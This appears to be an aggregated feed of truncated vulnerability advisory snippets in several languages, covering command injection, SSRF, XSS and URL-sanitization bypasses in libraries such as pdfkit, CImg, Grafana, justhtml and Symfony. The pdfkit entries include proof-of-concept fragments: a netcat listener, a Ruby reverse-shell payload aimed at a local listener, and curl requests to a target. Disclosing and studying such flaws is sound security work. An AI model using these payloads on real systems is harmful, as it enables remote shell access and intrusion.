CVE-2019-1010174

CVE-2019-1010174 CImg Library v.2.3.3 - 命令注入 CVE-2019-1010174 详情 已修改 此漏洞自 NVD 上次分析以来已被修改。它正在等待重新分析，这可能会导致所提供的信息发生进一步变化。 描述 CImg：CImg 库 v.2.3.3 及更早版本受影响：命令注入。影响：RCE。攻击向量：从用户可控的 URL 加载图像可导致命令注入，因为未对 URL 进行字符串清理。修复版本：v.2.3.4。...

PDFkit-CMD-Injection

PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 root@kitploit: python3 -m http.server 80 启动一个 netcat 监听器 root@kitploit: nc -nlvp 4444 使用 CURL 发送请求 root@kitploit: curl...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-漏洞利用-反弹Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' 通过 CURL（修改粗体 值）： curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2022-44215

Introducción Se ha descubierto una nueva vulnerabilidad que afecta al servidor web Titan FTP, catalogada como CVE-2022-44215. Titan FTP es un software comercial creado por South River Technologies que implementa el protocolo FTP para compartir archivos. En su versión HTTPS 19.X y anteriores, se h...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit 漏洞利用 - 命令注入 喜欢这个仓库吗？给我们一个 ⭐！ 仅用于教育和授权的安全研究目的。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 编写 漏洞描述 pdfkit 包从 0.0.0 版本起即存在命令注入漏洞，因为其 URL 未被正确清理。 漏洞利用说明 Ruby gem pdfkit 通常用于将网站或 HTML 转换为 PDF 文档。该软件存在漏洞的版本（ python3 exploit-CVE-2022–25765.py -s python3 exploit-CVE-2022–25765.py -c -...

Sooty

概述 Sooty 是一款旨在帮助 SOC 分析师自动化部分工作流程的工具。Sooty 的目标之一是尽可能多地执行常规检查，使分析师在相同时间内有更多时间进行深入分析。以下详细介绍了 Sooty 的许多功能。 Sooty 现已获得 Tines.com 的赞助！Tines 是企业安全团队的 SOAR 平台。 目录 当前功能 要求与安装 开发 更新日志 路线图 贡献者 Sooty 目前能够： 净化 URL，使其可安全用于电子邮件 执行反向 DNS 和 DNS 查询 从以下来源执行信誉检查： VirusTotal BadIP's Abuse IPDB...

node-pdf-generator-ssrf

CVE-2020-7740 此漏洞影响所有版本的包 node-pdf-generator。由于缺乏对提供给 node-pdf-generator 内容的用户输入验证和清理，攻击者可以构造一个 URL 传递给外部服务器，从而实现 SSRF 攻击。 Source 使用 Docker 快速开始 1. 构建容器。 2. 运行容器：docker run -p 3000:3000 cve-2020-7740 3. 注意到我们无法直接访问 localhost:3001 4. 使用 curl 发送请求：curl --location --request GET localhost:3000/test...

CVE-2026-17033

Grafana OSS is vulnerable to a stored cross-site scripting (XSS) flaw in how it handles external Alertmanager alerts. An authenticated attacker with Editor access or alert.instances.external:write can submit an alert containing a crafted generatorURL field. Grafana renders this value directly as ...

EUVD-2026-64887

An authenticated attacker with Editor access or alert.instances.external:write can submit an external Alertmanager alert containing a controlled generatorURL. The attacker is authorized to create the alert, but not to execute script in another user's Grafana session. Grafana renders...

CVE-2026-5388

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

CVE-2026-5388 justhtml before 1.15.0 Multiple Security Issues

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

EUVD-2026-64652

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

CVE-2026-5388

justhtml (Python HTML sanitizer library) before 1.15.0 contains multiple sanitization bypass vulnerabilities across URL sanitization helpers, HTML serialization, Markdown passthrough, and custom policy edge cases. Attackers can inject active HTML and JavaScript via vectors such as encoded javascr...

CVE-2026-5388 justhtml before 1.15.0 Multiple Security Issues

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

PT-2026-79769

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers clean url value/clean url in js string, HTML serialization, Markdown passthrough html passthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass...

RUSTSEC-2026-0213 XSS in ammonia via SVG `animate` and `set` animation tags

The following SVG will produce a link with a javascript scheme. If the user clicks this link, they will run it. xml Click set Ammonia did not apply attribute filters based on attributeName, so the contents of the to, from, and values tags were not sanitized as URLs. Applications that do not...

CVE-2026-45064

Symfony is a PHP framework for web and console applications and a set of reusable PHP components. From 6.1.0-BETA1 until 6.4.40, 7.4.12, and 8.0.12, UrlSanitizer::parse passes Unicode explicit-direction BiDi formatting characters through into sanitized href and src attributes, allowing sanitized...

CVE-2026-55596 Plate: Media embed provider metadata can bypass URL sanitization and execute iframe JavaScript

Plate is a rich-text editor with AI and shadcn/ui. From 53.0.0 until 53.1.4, the media embed renderer trusts serialized provider or sourceUrl metadata in useMediaState and skips parseMediaUrl protocol validation, allowing a crafted Plate document to set a known video provider while keeping url as...

CVE-2026-55596 Plate: Media embed provider metadata can bypass URL sanitization and execute iframe JavaScript

Plate is a rich-text editor with AI and shadcn/ui. From 53.0.0 until 53.1.4, the media embed renderer trusts serialized provider or sourceUrl metadata in useMediaState and skips parseMediaUrl protocol validation, allowing a crafted Plate document to set a known video provider while keeping url as...

CVE-2026-55660

Tina is a headless content management system. In versions prior to @tinacms/app 2.5.6 and tinacms 3.9.3, cross-origin postMessage handlers and a rich-text URL-sanitization bypass enable stored XSS and session takeover. The library registers window message listeners — the useTina overlay handler,...